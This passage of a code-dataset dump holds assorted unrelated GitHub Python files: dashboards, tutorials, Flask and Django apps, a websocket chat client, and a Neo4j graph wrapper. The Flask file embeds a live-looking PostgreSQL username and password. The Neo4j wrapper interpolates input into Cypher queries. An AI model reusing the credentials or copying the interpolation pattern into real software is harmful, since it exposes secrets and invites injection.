\"Samedi\"\n        sizes = [sumlundi, summardi, summercredi, sumjeudi, sumvendredi, sumsamedi]\n        colors = [\"yellowgreen\", \"gold\", \"lightcoral\", \"lightskyblue\", \"cyan\", \"red\"]\n        explode = (0.2, 0, 0, 0, 0, 0)\n        \n        plt.pie(sizes, explode=explode, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True, startangle=140)\n        \n        plt.axis(\"equal\")\n        \n        canvasbar = FigureCanvasTkAgg(fig, master=self.root)\n        canvasbar.draw()\n        canvasbar.get_tk_widget().place(x=1120, y=285, anchor=CENTER)\n        \n        #Diagramme\n        fig = plt.figure(figsize=(5, 3.5), dpi=100)\n        labels = \"Lundi\", \"Mardi\", \"Mercredi\", \"Jeudi\", \"Vendredi\", \"Samedi\"\n        labelpos = np.arange(len(labels))\n        semainesum = [sumlundi, summardi, summercredi, sumjeudi, sumvendredi, sumsamedi]\n        \n        plt.bar(labelpos, semainesum, align=\"center\", alpha=1.0)\n        plt.xticks(labelpos, labels)\n        plt.ylabel(\"Prix\")\n        plt.ylabel(\"Semaine\")\n        plt.tight_layout(pad=2.2, w_pad=0.5, h_pad=0.1)\n        plt.title(\"Vente de la semaine\")\n        plt.xticks(rotation=30, horizontalalignment='center')\n        \n        for index, datapoints in enumerate(semainesum):\n            plt.text(x=index, y=datapoints+0.3, s=f\"{datapoints}\", fontdict=dict(fontsize=10), ha=\"center\", va=\"bottom\")\n            \n        canvasbar = FigureCanvasTkAgg(fig, master=self.root)\n        canvasbar.draw()\n        canvasbar.get_tk_widget().place(x=600, y=285, anchor=CENTER)\n        \n        self.root.protocol(\"WM_DELETE_WINDOW\", self.Exit)\n        \n        #Corps2\n        self.corp2 = Frame(self.root, bg=\"#009aa5\")\n        self.corp2.place(x=328, y=495, width=310, height=220)\n        \n        self.totalclientImage = Image.open(r\"C:\\Users\\Admin\\OneDrive\\Bureau\\codePython\\gestion_python\\Image_DashBoard\\left-icon.png\")\n        photo = ImageTk.PhotoImage(self.totalclientImage)\n        self.totalclient = Label(self.corp2, image=photo, bg=\"#009aa5\")\n        self.totalclient.image = photo\n        self.totalclient.place(x=220, y=0)\n        \n        self.ntotalclient_text = Button(self.corp2, text=\"300\", bg=\"#009aa5\", fg=\"white\", font=(\"poppins\", 25, \"bold\"), bd=0, cursor=\"hand2\", activebackground=\"#fff\")\n        self.ntotalclient_text.place(x=120, y=100)\n        \n        self.ttotalclient_text = Button(self.corp2, text=\"Total Client\", bg=\"#009aa5\", fg=\"white\", font=(\"poppins\", 15, \"bold\"), bd=0, cursor=\"hand2\", activebackground=\"#fff\")\n        self.ttotalclient_text.place(x=5, y=5)\n        \n        #Corps3\n        self.corps3 = Frame(self.root, bg=\"#e21f26\")\n        self.corps3.place(x=680, y=495, width=310, height=220)\n        \n        self.totalemployeImage = Image.open(r\"C:\\Users\\Admin\\OneDrive\\Bureau\\codePython\\gestion_python\\Image_DashBoard\\left-icon.png\")\n        photo = ImageTk.PhotoImage(self.totalemployeImage)\n        self.totalemploye = Label(self.corps3, image=photo, bg=\"#e21f26\")\n        self.totalemploye.image = photo\n        self.totalemploye.place(x=220, y=0)\n        \n        self.ntotalemploye_text = Button(self.corps3, text=\"20\", bg=\"#e21f26\", fg=\"white\", font=(\"poppins\", 25, \"bold\"), bd=0, cursor=\"hand2\", activebackground=\"#fff\")\n        self.ntotalemploye_text.place(x=120, y=100)\n        \n        self.ttotalemploye_text = Button(self.corps3, text=\"Total Employe\", bg=\"#e21f26\", fg=\"white\", font=(\"poppins\", 15, \"bold\"), bd=0, cursor=\"hand2\", activebackground=\"#fff\")\n        self.ttotalemploye_text.place(x=5, y=5)\n        \n        #Corps4\n        self.corps4 = Frame(self.root, bg=\"#ffcb1f\")\n        self.corps4.place(x=1030, y=495, width=310, height=220)\n        \n        self.totalventeImage = Image.open(r\"C:\\Users\\Admin\\OneDrive\\Bureau\\codePython\\gestion_python\\Image_DashBoard\\earn3.png\")\n        photo = ImageTk.PhotoImage(self.totalventeImage)\n        self.totalvente = Label(self.corps4, image=photo, bg=\"#ffcb1f\")\n        self.totalvente.image = photo\n        self.totalvente.place(x=220, y=0)\n        \n        self.ntotalvente_text = Button(self.corps4, text=\"450.000\", bg=\"#ffcb1f\", fg=\"#000000\", font=(\"poppins\", 25, \"bold\"), bd=0, cursor=\"hand2\", activebackground=\"#fff\")\n        self.ntotalvente_text.place(x=80, y=100)\n        \n        self.ttotalvente_text = Button(self.corps4, text=\"Total Vente\", bg=\"#ffcb1f\", fg=\"#000000\", font=(\"poppins\", 15, \"bold\"), bd=0, cursor=\"hand2\", activebackground=\"#fff\")\n        self.ttotalvente_text.place(x=8, y=5)\n        \n        \n        #Heures\n        self.heureImage = Image.open(r\"C:\\Users\\Admin\\OneDrive\\Bureau\\codePython\\gestion_python\\Image_DashBoard\\time.png\")\n        photo = ImageTk.PhotoImage(self.heureImage)\n        self.heure = Label(self.FrameMenu, image=photo, bg=\"#fff\")\n        self.heure.image = photo\n        self.heure.place(x=78, y=20)\n        \n        self.heures_text = Label(self.FrameMenu)\n        self.heures_text.place(x=115, y=15)\n        self.afficher_heures()\n        \n    def afficher_heures(self):\n        self.time = time.strftime(\"%H:%M:%S\")\n        self.date = time.strftime(\"%d/%m/%Y\")\n        resultat = f\"{self.date}\\n{self.time}\"\n        self.heures_text.config (text=resultat, bd=0, font=(\"poppins\", 13, \"bold\"), bg=\"#fff\")\n        self.heures_text.after(100, self.afficher_heures)\n        \n    def Exit(self):\n        self.root.quit()\n\n\n\n\n\nif __name__ == \"__main__\":\n    root = Tk()\n    Dashboard(root)\n    root.mainloop()","repo_name":"cleason/gestion_python","sub_path":"tableau.py","file_name":"tableau.py","file_ext":"py","file_size_in_byte":10116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"7900059641","text":"#--------------------------------------------------------------------\r\n# %%\r\n#\r\nimport sqlite3\r\nimport os\r\n#--------------------------------------------------------------------\r\n# Cambiar directorio\r\nos.chdir('C:\\\\Python/Diego Moisset Python/Python 287')\r\n#--------------------------------------------------------------------\r\n#--------------------------------------------------------------------\r\n# %%\r\n# Crear la tabla\r\nconexion = sqlite3.connect('bd1.db')\r\ntry:\r\n    conexion.execute('''\r\n        create table Articulos(\r\n        Codigo integer primary key autoincrement,\r\n        Descripcion text,\r\n        Precio real\r\n        )\r\n    ''')\r\nexcept sqlite3.OperationalError:\r\n    print('Ya esta creada')\r\nconexion.close()\r\n#--------------------------------------------------------------------\r\n# %%\r\n# Insertar cosas ya\r\nconexion = sqlite3.connect('bd1.db')\r\nconexion.execute('Insert into Articulos(Descripcion , Precio) values (? , ?)' , ('Naranja' , 49.90))\r\nconexion.execute('Insert into Articulos(Descripcion , Precio) values (? , ?)' , ('Manzana' , 58.36))\r\nconexion.execute('Insert into Articulos(Descripcion , Precio) values (? , ?)' , ('Banana' , 53.21))\r\nconexion.commit()\r\nconexion.close()\r\n# %%\r\n# Mostrar las filas con for\r\nconexion = sqlite3.connect('bd1.db')\r\nRaw = conexion.execute('select Codigo , Descripcion , Precio from Articulos')\r\nfor fila in Raw:\r\n    print(fila)\r\nconexion.close()\r\n# %%\r\n# Consultar un articulo\r\nconexion = sqlite3.connect('bd1.db')\r\nCodigo = int(input('Ingrese el codigo'))\r\nProducto = conexion.execute('select Descripcion, Precio from Articulos where Codigo = ?' , (Codigo ,))\r\nfila = Producto.fetchone()\r\nif fila != None:\r\n    print(fila)\r\nelse:\r\n    print('No existe el producto')\r\nconexion.close()\r\n# %%\r\n# Recuperar varios datos de una vez\r\nconexion = sqlite3.connect('bd1.db')\r\nPrecio = float(input('Ingrese el Precio'))\r\nProductos = conexion.execute('select Descripcion, Precio from Articulos where Precio < ?' , (Precio ,))\r\nfilas = Productos.fetchall()\r\nif len(filas) > 0:\r\n    for fila in filas:\r\n        print(fila)\r\nelse:\r\n    print('No hay articulos con precio menor al ingresado')\r\nconexion.close()\r\n# %%\r\n","repo_name":"LucasFQuirogaH/Python","sub_path":"Diego Moisset Python/SQLite3.py","file_name":"SQLite3.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"14591168248","text":"import setuptools\n\ntry:\n    with open(\"../README.md\", \"r\") as fh:\n        long_description = fh.read()\nexcept FileNotFoundError:\n    print(\"No Readme available\")\n    long_description = \"\"\n\nsetuptools.setup(\n    name=\"SitewisePyObjects-paszin\",\n    version=\"0.0.1\",\n    author=\"Pascal Crenzin\",\n    author_email=\"pc@thullex.de\",\n    description=\"Functions for this and that\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/paszin/SitewisePyObjects\",\n    packages=setuptools.find_packages(),\n    install_requires=[\"boto3\"],\n    entry_points={\n        'console_scripts': [\n        ]\n    },\n    classifiers=[\n        \"Programming Language :: Python :: 3\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Operating System :: OS Independent\",\n    ],\n    python_requires='>=3.6',\n)\n","repo_name":"paszin/SitewisePyObjects","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"1451962952","text":"from flask import Flask, jsonify, request, render_template\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import MetaData, Table\nfrom sqlalchemy import create_engine\nfrom flask_migrate import Migrate\nfrom flask_cors import CORS, cross_origin\nimport datetime\nfrom flask_marshmallow import Marshmallow\n\n\n\n# DB connections\nengine = create_engine('postgresql://beobuojhegamsi:0d03035ef88099e1bd219b3772e17522354a9ac58068766ef6ac180fe38a83ec@ec2-52-3-130-181.compute-1.amazonaws.com:5432/d8gbvgrngr0fsa')\nconnection = engine.connect()\n\napp = Flask(__name__)\n# CORS(app)\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://beobuojhegamsi:0d03035ef88099e1bd219b3772e17522354a9ac58068766ef6ac180fe38a83ec@ec2-52-3-130-181.compute-1.amazonaws.com:5432/d8gbvgrngr0fsa'\n\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\nma = Marshmallow(app)\nmetadata = MetaData()\n\n# schemas!\nclass Articles(db.Model):\n    __tablename__ = 'articles'\n    id = db.Column(db.Integer, primary_key=True)\n    title = db.Column(db.String(100))\n    body = db.Column(db.Text())\n    date = db.Column(db.DateTime, default = datetime.datetime.now)\n    def __init__(self, title,body):\n        self.title = title\n        self.body = body\n    def __repr__(self):\n        return f\"<Articles {self.name}>\"\n\nclass ArticleSchema(ma.Schema):\n    class Meta:\n        fields = ('id', 'title', 'body', 'date' )\n\narticle_schema = ArticleSchema()\narticles_schema = ArticleSchema(many=True)\n\n# API Routes!\n@app.route(\"/get\", methods = ['GET'])\n@cross_origin()\ndef get_articles():\n    all_articles = Articles.query.all()\n    results = articles_schema.dump(all_articles)\n    return jsonify(results)\n\n@app.route(\"/get/<id>/\", methods = ['GET'])\n@cross_origin()\ndef post_details(id):\n    article = Articles.query.get(id)\n    return article_schema.jsonify(article)\n\n@app.route(\"/update/<id>/\", methods = ['PUT'])\n@cross_origin()\ndef update_article(id):\n    article = Articles.query.get(id)\n\n    title = request.json['title']\n    body = request.json['body']\n\n    article.title = title\n    article.body = body\n\n    db.session.commit()\n    return article_schema.jsonify(article)\n\n@app.route(\"/delete/<id>/\", methods = ['DELETE'])\n@cross_origin()\ndef article_delete(id):\n    article = Articles.query.get(id)\n    db.session.delete(article)\n    db.session.commit()\n\n    return article_schema.jsonify(article)\n\n@app.route(\"/add\", methods = ['POST'])\n@cross_origin()\ndef add_article():\n    title = request.json['title']\n    body = request.json['body']\n\n    articles = Articles(title, body)\n    db.session.add(articles)\n    db.session.commit()\n    return article_schema.jsonify(articles)\n\n# beginning of template rendering page routes\n@app.route(\"/\")\n@cross_origin()\ndef homepage():\n    return render_template('home.html', )\n\n@app.route(\"/articles\")\n@cross_origin()\ndef render_articles():\n    return render_template('articles.html', articles = Articles.query.all() )\n\n@app.route(\"/article/<string:id>\")\n@cross_origin()\ndef render_article(id):\n    return render_template('article.html', articles = Articles.query.get(id))\n\n# @app.route(\"/\")\n# def helloworld():\n#     return {\n#         'Hello':'World'\n#     }\n\nif __name__== '__main__':\n    app.run(debug=True)\n    # host = '127.0.0.1', port=3000, debug=True\n    # 192.168.0.4:19000","repo_name":"ErikBurdett/flaskreact-nativeapp","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":3328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"301492819","text":"from django.urls import path\n\nfrom .views import (home_page, ajax_variant, category_product, \n                    product_detail, addcomment, add_to_cart, remove_product_from_cart, \n                    remove_single_quantity_product, search, faq)\n\nurlpatterns = [\n     path('', home_page, name='home_page'),\n    path('ajax_variant', ajax_variant, name='ajax_variant'),\n    # product\n    path('search', search, name='search'),\n    path('faq', faq, name='faq'),\n    path('category/<int:id>/<slug:slug>', \n                    category_product, name='category_product'),\n    path('product/<int:id>/<slug:slug>', \n                    product_detail, name='product_detail'),\n    path('product/addcomment/<int:id>', addcomment, name='addcomment'),\n    path('addtocart/<int:id>', add_to_cart, name='addtocart'),\n    path('remove-product-from-cart/<int:id>', remove_product_from_cart, name='remove-product-from-cart'),\n    path('remove-single-quantity-product/<int:id>', \n                remove_single_quantity_product, \n                name='remove-single-quantity-product'), \n]","repo_name":"quad400/ShopItApp","sub_path":"src/product/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74763683892","text":"print(f'{\" DESAFIO Nº 090 \":=^30}')\nprint(f'Faça um programa que leia o \\033[34mnome e média\\033[m de um aluno, guardando também'\n'\\na \\033[34msituação\\033[m em um \\033[33mdicionário\\033[m. No final, mostre o conteúdo da estrutura na tela.')\nalunos = []\ndicionário = {'Nome': '', 'Média': '' , 'Situação': ''}\n\ndicionário['Nome'] = str(input('Digite o nome do aluno: '))\ndicionário['Média'] = float(input('Digite a média do aluno: '))\nif dicionário['Média'] >= 7:\n    dicionário['Situação'] = 'Aprovado'\nelse:\n    dicionário['Situação'] = 'Reprovado'\n\nfor k, v in dicionário.items():\n    print(f'{k} dele é {v}')","repo_name":"gustavobarretto/courses","sub_path":"python-course/PycharmProjects/pythonProject/Curso em Vídeo - Pyhon/Cursoemvideo - Exercises/#090.py","file_name":"#090.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"41620116263","text":"# SET THE NAMESPACE!\nfrom django.conf.urls import url\n\nfrom vulnerability_app import views\n\napp_name = 'vulnerability_app'\nurlpatterns = [\n    url(r'^register/$', views.register, name='register'),\n    url(r'^user_login/$', views.user_login, name='user_login'),\n    url(r'^compute_occurrences/$', views.compute_occurrences, name='compute_occurrences'),\n    url(r'^monthly_report/$', views.monthly_report, name='monthly_report'),\n]\n","repo_name":"georgianaasiminei/vulnerability_mgmt","sub_path":"vulnerability_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74188275251","text":"import websocket, json, sys, curses, locale\n\ntry:\n    import thread\nexcept ImportError:\n    import _thread as thread\n\n'''\n    #### Class declaration and argument handling ####\n'''\n\n#class used to track and update the yposition of the cursor in the receive message box.\nclass yPosTracker:\n    def __init__(self):\n        self.ypos = 1\n    \n    def getYpos(self):\n        return self.ypos\n    \n    def setYpos(self, newYpos):\n        self.ypos = newYpos\n\n#if there is no command argument supplied prompt user for username.\nif (len(sys.argv) != 2):\n    print(\"Enter a nick/user name\")\n    username = input(\">\")\nelse:\n    username = sys.argv[1]\n\n'''\n    #### Global Inits ####\n'''\n\n#Setting of locale\nlocale.setlocale(locale.LC_ALL, \"\")\ncode = locale.getpreferredencoding()\n\n#stdscr noecho init\nstdscr = curses.initscr()\ncurses.noecho()\ncurses.cbreak()\nstdscr.keypad(1)\n\n#get height and width of screen.\nheight, width = stdscr.getmaxyx()\n\n#calculate division between two screens\ndiv = int(round(height - (height/6)))\ndivHeight = int(round(height/6))\n\n#receive message box and send message box init.\nreceiveMessageBox = curses.newwin(div, width, 0, 0)\nsendMessageBox = curses.newwin(divHeight, width, div, 0)\n\n#init ypos tracker on the heap\nypos = yPosTracker()\n\n'''\n    #### Function Declarations ####\n'''\n\n#thread main, used for synchronisly sending messages\ndef sendThread(*args):\n    while(True):\n        #allow echoing in the send message box and get string from top left corner.\n        curses.echo()\n        userMessage = sendMessageBox.getstr(1,1).decode(\"utf-8\")\n        curses.noecho()\n        \n        #check for /exit command which will cause the program to exit.\n        if(userMessage == \"/exit\"):\n            ws.close()\n        \n        #send message through socket, clear and refresh send message box.\n        sendMessage(args[0], userMessage)\n        sendMessageBox.clear()\n        sendMessageBox.refresh()\n\ndef sendMessage(ws, message):\n    #create object dictionary for json.dumps\n    object = {\n        \"username\": username,\n        \"message\": message\n    }\n\n    #package dictionary and send accross web socket.\n    objectStr = json.dumps(object)\n    encodedStr = str.encode(objectStr)\n    ws.send(encodedStr)\n\ndef receiveMessage(window, div, message, yPosObject):\n    \n    #get ypos from the tracker\n    ypos = yPosObject.getYpos()\n    \n    #render string on window and get the current cursor pos.\n    window.addstr(ypos, 1, message)\n    cursorY, cursorX = window.getyx()\n    \n    #if the cursor is below the window scroll up to get it back in\n    if (cursorY > div):\n        window.scroll((cursorY - div))\n    \n    #set new ypos and move cursor back to the sendMessageBox\n    yPosObject.setYpos(cursorY + 1)\n    sendMessageBox.move(1,1)\n    window.refresh()\n\n\n'''\n    #### Web Socket Closures ####\n'''\n\ndef on_message(ws, message):\n    #load message from string create format string and pass that to receive message.\n    messageObj = json.loads(message)\n    message = \"{}: {}\".format(messageObj[\"username\"], messageObj[\"message\"])\n    receiveMessage(receiveMessageBox, div, message, ypos)\n\ndef on_error(ws, error):\n    #print the error\n    print(error)\n\ndef on_close(ws):\n    #return terminal to original state and exit\n    curses.nocbreak()\n    stdscr.keypad(0)\n    curses.echo()\n    curses.endwin()\n    sys.exit()\n\ndef on_open(ws):\n    thread.start_new_thread(sendThread, (ws, 0))\n\n'''\n    #### \"Main\" function ####\n'''\n\n\nif __name__ == \"__main__\":\n    ws = websocket.WebSocketApp(\"ws://localhost:8080/chat\",\n                                on_message = on_message,\n                                on_error = on_error,\n                                on_close = on_close)\n    ws.on_open = on_open\n    ws.run_forever()\n\n","repo_name":"Avynn/avynnChatServer","sub_path":"client/client2.py","file_name":"client2.py","file_ext":"py","file_size_in_byte":3738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"44105886081","text":"#temporary, manual entry - need to figure out where I'm going to get this from\n\n#just type them in\ndef get_sports():\n    sports=[\n        'NFL',\n        'EPL'\n        ]\n    return sports\n    \n\n# copy paste list from ESPN (http://espn.go.com/nfl/schedule/_/week/4)\n# edit to match format\ndef get_games():\n    games=dict()\n    games={\n        'August 28, 2015':[\n            ['New England', 'Carolina', '7:30 PM'],\n    \t    ['Detroit', 'Jacksonville', '8:00 PM'],\n    \t    ['Tennessee', 'Kansas City', '8:00 PM']],\n        'August 29, 2015':[\n        \t['Pittsburgh', 'Buffalo', '4:00 PM'],\n    \t    ['Atlanta', 'Miami', '7:00 PM'],\n    \t    ['Cleveland', 'Tampa Bay', '7:00 PM'],\n    \t    ['Minnesota', 'Dallas', '7:00 PM'],\n    \t    ['NY Jets', 'NY Giants', '7:00 PM'],\n    \t    ['Chicago', 'Cincinnati', '7:30 PM'],\n    \t    ['Washington', 'Baltimore', '7:30 PM'],\n    \t    ['Seattle', 'San Diego', '8:00 PM'],\n    \t    ['Philadelphia', 'Green Bay', '8:00 PM'],\n    \t    ['Indianapolis', 'St. Louis', '8:00 PM'],\n    \t    ['San Francisco', 'Denver', '9:00 PM']],\n    \t'August 30, 2015':[\n    \t    ['Houston', 'New Orleans', '4:00 PM'],\n    \t    ['Arizona', 'Oakland', '8:00 PM']]}\n    return games","repo_name":"Higg0/fanwatch","sub_path":"workspace/app/content.py","file_name":"content.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13926654943","text":"import json\n\n# import requests\n\n\ndef lambda_handler(event, context):\n    # hello = event.get('pathParameters').get('hello')\n    print(\"event\", event)\n\n    httpMethod = event.get('httpMethod')\n\n    if httpMethod == 'POST':\n        body = json.loads(event.get('body'))\n        print(\"body:\", body)\n        word = body.get('hello')\n        return {\n            \"statusCode\": 200,\n            \"headers\": {\n                'Access-Control-Allow-Origin': '*',\n                'Access-Control-Allow-Credentials': True,\n                'Content-Type': 'application/json',\n            },\n            \"body\": json.dumps({\n                \"message\": \"hello {}\".format(word),\n                # \"location\": ip.text.replace(\"\\n\", \"\")\n            }),\n        }\n\n\n    \"\"\"Sample pure Lambda function\n\n    Parameters\n    ----------\n    event: dict, required\n        API Gateway Lambda Proxy Input Format\n\n        Event doc: https://docs.aws.amazon.com/apigateway/latest/developerguide/set-up-lambda-proxy-integrations.html#api-gateway-simple-proxy-for-lambda-input-format\n\n    context: object, required\n        Lambda Context runtime methods and attributes\n\n        Context doc: https://docs.aws.amazon.com/lambda/latest/dg/python-context-object.html\n\n    Returns\n    ------\n    API Gateway Lambda Proxy Output Format: dict\n\n        Return doc: https://docs.aws.amazon.com/apigateway/latest/developerguide/set-up-lambda-proxy-integrations.html\n    \"\"\"\n\n    # try:\n    #     ip = requests.get(\"http://checkip.amazonaws.com/\")\n    # except requests.RequestException as e:\n    #     # Send some context about this error to Lambda Logs\n    #     print(e)\n\n    #     raise e\n\n    return {\n        \"statusCode\": 200,\n        \"headers\": {\n            'Access-Control-Allow-Origin': '*',\n            'Access-Control-Allow-Credentials': True,\n            'Content-Type': 'application/json',\n        },\n        \"body\": json.dumps({\n            \"message\": \"hello world\",\n            # \"location\": ip.text.replace(\"\\n\", \"\")\n        }),\n    }\n","repo_name":"voathnak/vlim-swagger-app","sub_path":"hello_world/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20916132971","text":"from django.test import TestCase\n\n# Create your tests here.\nclass TestViews(TestCase):\n\n    def test_call_login_view_loads(self):\n        \"\"\"test if there is login page following current link\"\"\"\n\n        response = self.client.get('/auth/login/')\n        self.assertEqual(response.status_code, 200)\n        self.assertTemplateUsed(response, 'login.html')\n\n\n","repo_name":"AlexEntersis/Grabber","sub_path":"account_master/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70046008374","text":"from marshmallow.exceptions import ValidationError\n\n\ndef validate_integer(value, *, min_value=None, max_value=None, choices=None):\n    if min_value is not None:\n        if value < min_value:\n            raise ValidationError(\n                f'Must be greater than or equal to {min_value}.'\n            )\n\n    if max_value is not None:\n        if value > max_value:\n            raise ValidationError(\n                f'Must be less than or equal to {max_value}.'\n            )\n\n    if choices is not None:\n        if value not in choices:\n            raise ValidationError(\n                f'Must be one of: {\", \".join(map(repr, choices))}.'\n            )\n\n\ndef validate_string(value, *, max_length=None, choices=None):\n    if value == '':\n        raise ValidationError('Field may not be blank.')\n\n    if max_length is not None:\n        if len(value) > max_length:\n            raise ValidationError(\n                f'Must be at most {max_length} characters long.'\n            )\n\n    if choices is not None:\n        if value not in choices:\n            raise ValidationError(\n                f'Must be one of: {\", \".join(map(repr, choices))}.'\n            )\n","repo_name":"CiscoSecurity/tr-05-ctim-bundle-builder","sub_path":"bundlebuilder/models/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"26489708060","text":"\"\"\"\nInterface to a neo4j database, exposing a graph interface on which we can run\nSTAG algorithms.\n\"\"\"\nimport neo4j\nfrom typing import List\nfrom functools import lru_cache\n\nfrom . import graph\n\n\nclass Neo4jGraph(graph.LocalGraph):\n    \"\"\"\n    Represent a neo4j database as a stag.graph.LocalGraph object.\n\n    This provides 'local' access to the graph only. Given a node, we can query\n    its neighbors and its degree.\n    The graph does not support weighted edges, and it does not\n    distinguish between edge types or directions.\n\n    The neo4j ``<id>`` attributes are used as the STAG vertex ids.\n\n    All methods which make calls to the database backend have a small cache of\n    recent queries, meaning that consecutive queries for the same node will be\n    fast.\n    \"\"\"\n    def __init__(self, uri: str, username: str, password: str):\n        \"\"\"\n        Connect to a neo4j database backend.\n\n        For example, assuming that there is a Neo4j database running locally,\n        the graph object can be created as follows.\n\n        \\code{python}\n        import stag.neo4j\n        g = stag.neo4j.Neo4jGraph(\"bolt://localhost:7687\", \"neo4j\", \"password\")\n        \\endcode\n\n        It is also possible to connect to a remote Neo4j database by passing\n        the relevant ``uri`` to the constructor.\n\n        @param uri the location of the neo4j database\n        @param username the neo4j username\n        @param password the neo4j password\n        \"\"\"\n        super().__init__()\n\n        ## The neo4j database driver object used to query the underlying\n        # database.\n        self.driver = neo4j.GraphDatabase.driver(uri, auth=(username, password))\n\n        ##\n        # \\cond\n        # The partially-constructed adjacency list of all nodes we've queried\n        # so far.\n        ##\n        self.adjacency_list = {}\n        self.labels_cache = {}\n        ##\n        # \\endcond\n        ##\n\n    def degree(self, v):\n        \"\"\"\n        Equivalent to stag.neo4j.Neo4jGraph.degree_unweighted.\n        \"\"\"\n        return self.degree_unweighted(v)\n\n    def degree_unweighted(self, v: int) -> int:\n        \"\"\"Query the degree of the node with the given neo4j ID.\"\"\"\n        # The degree of a node is the length of its list of neighbours\n        ns = self.neighbors_unweighted(v)\n        return len(ns)\n\n    def neighbors(self, v: int) -> List[graph.Edge]:\n        \"\"\"\n        Fetch the neighbors of the node with the given Neo4j node ID.\n\n        The returned stag.graph.Edge objects all have weight 1.\n        \"\"\"\n        return [graph.Edge(v, u, 1) for u in self.neighbors_unweighted(v)]\n\n    def neighbors_unweighted(self, v: int) -> List[int]:\n        \"\"\"\n        Fetch the neighbors of the node with the given Neo4j node ID.\n\n        Returns the Neo4j node IDs of the neighboring nodes.\n        \"\"\"\n        if v not in self.adjacency_list:\n            with self.driver.session() as session:\n                result = session.execute_read(self._neighbors_query, v)\n            self.adjacency_list[v] =  [x[0] for x in result]\n        return self.adjacency_list[v]\n\n    ##\n    # \\cond\n    ##\n    @staticmethod\n    def _neighbors_query(tx, node_id):\n        # To get the neighbors of the given node, we will execute the following\n        # Cypher command:\n        #    MATCH (n1)-[]-(n2) WHERE id(n1) = v return id(n2)\n        # which finds the nodes which are a single step from the node\n        # with the given node ID.\n        result = tx.run(\"MATCH (n1)-[]-(n2) \"\n                        \"WHERE id(n1) = $node_id \"\n                        \"RETURN DISTINCT id(n2)\", node_id=node_id)\n        return list(result.values())\n    ##\n    # \\endcond\n    ##\n\n    def query_node_labels(self, node_id: int) -> List[str]:\n        \"\"\"\n        Query the labels of the given node.\n\n        For example, using the Neo4j movie database example, you can query\n        whether a given node represents a person or a movie as follows.\n\n        \\code{python}\n            >>> import stag.neo4j\n            >>> g = stag.neo4j.Neo4jGraph(\"bolt://localhost:7687\", \"neo4j\", \"password\")\n            >>> labels = g.query_node_labels(0)\n            ['Movie']\n            >>> labels = g.query_node_labels(1)\n            ['Person']\n        \\endcode\n\n        \"\"\"\n        if node_id not in self.labels_cache:\n            with self.driver.session() as session:\n                result = session.execute_read(self._labels_query, node_id)\n            self.labels_cache[node_id] = [x[0] for x in result]\n        return self.labels_cache[node_id]\n\n    ##\n    # \\cond\n    ##\n    @staticmethod\n    def _labels_query(tx, node_id: int):\n        # To get the neighbors of the given node, we will execute the following\n        # Cypher command:\n        #    MATCH (n1)-[]-(n2) WHERE id(n1) = v return id(n2)\n        # which finds the nodes which are a single step from the node\n        # with the given node ID.\n        result = tx.run(\"MATCH (n1) \"\n                        \"WHERE id(n1) = $node_id \"\n                        \"RETURN DISTINCT labels(n1)\", node_id=node_id)\n        return result.values()[0]\n    ##\n    # \\endcond\n    ##\n\n    def query_id(self, property_name: str, property_value: str) -> int:\n        \"\"\"\n        Find the Neo4j ID of a node with the given property.\n\n        For example, using the Neo4j movie database example you can find the\n        Neo4j node corresponding to a given movie as follows.\n        \n        \\code{python}\n            import stag.neo4j\n            g = stag.neo4j.Neo4jGraph(\"bolt://localhost:7687\", \"neo4j\", \"password\")\n            node_id = g.query_id(\"title\", \"Avatar\")\n        \\endcode\n\n        This will make a query to the database to find a node with the given\n        property.\n        This query will be slow unless the database has an index for\n        ``property_name``.\n        For more information, see the Neo4j documentation on\n        [creating an index](https://neo4j.com/docs/cypher-manual/current/indexes-for-search-performance/).\n\n        @param property_name the node property to query\n        @param property_value the value of the node property to search for\n        @return the Neo4j node ID of a node with the given property value.\n                Returns None if there is no node in the dataabase with the\n                requested property.\n        \"\"\"\n        with self.driver.session() as session:\n            result = session.execute_read(self._id_query, property_name, property_value)\n        return result\n\n    ##\n    # \\cond\n    ##\n    @staticmethod\n    def _id_query(tx, property_name, property_value):\n        result = tx.run(f'MATCH (n1 {{{property_name}: \"{property_value}\"}}) '\n                        \"RETURN id(n1) \"\n                        \"LIMIT 1\")\n        result = result.single()\n        if result is None:\n            return None\n        else:\n            return result[0]\n    ##\n    # 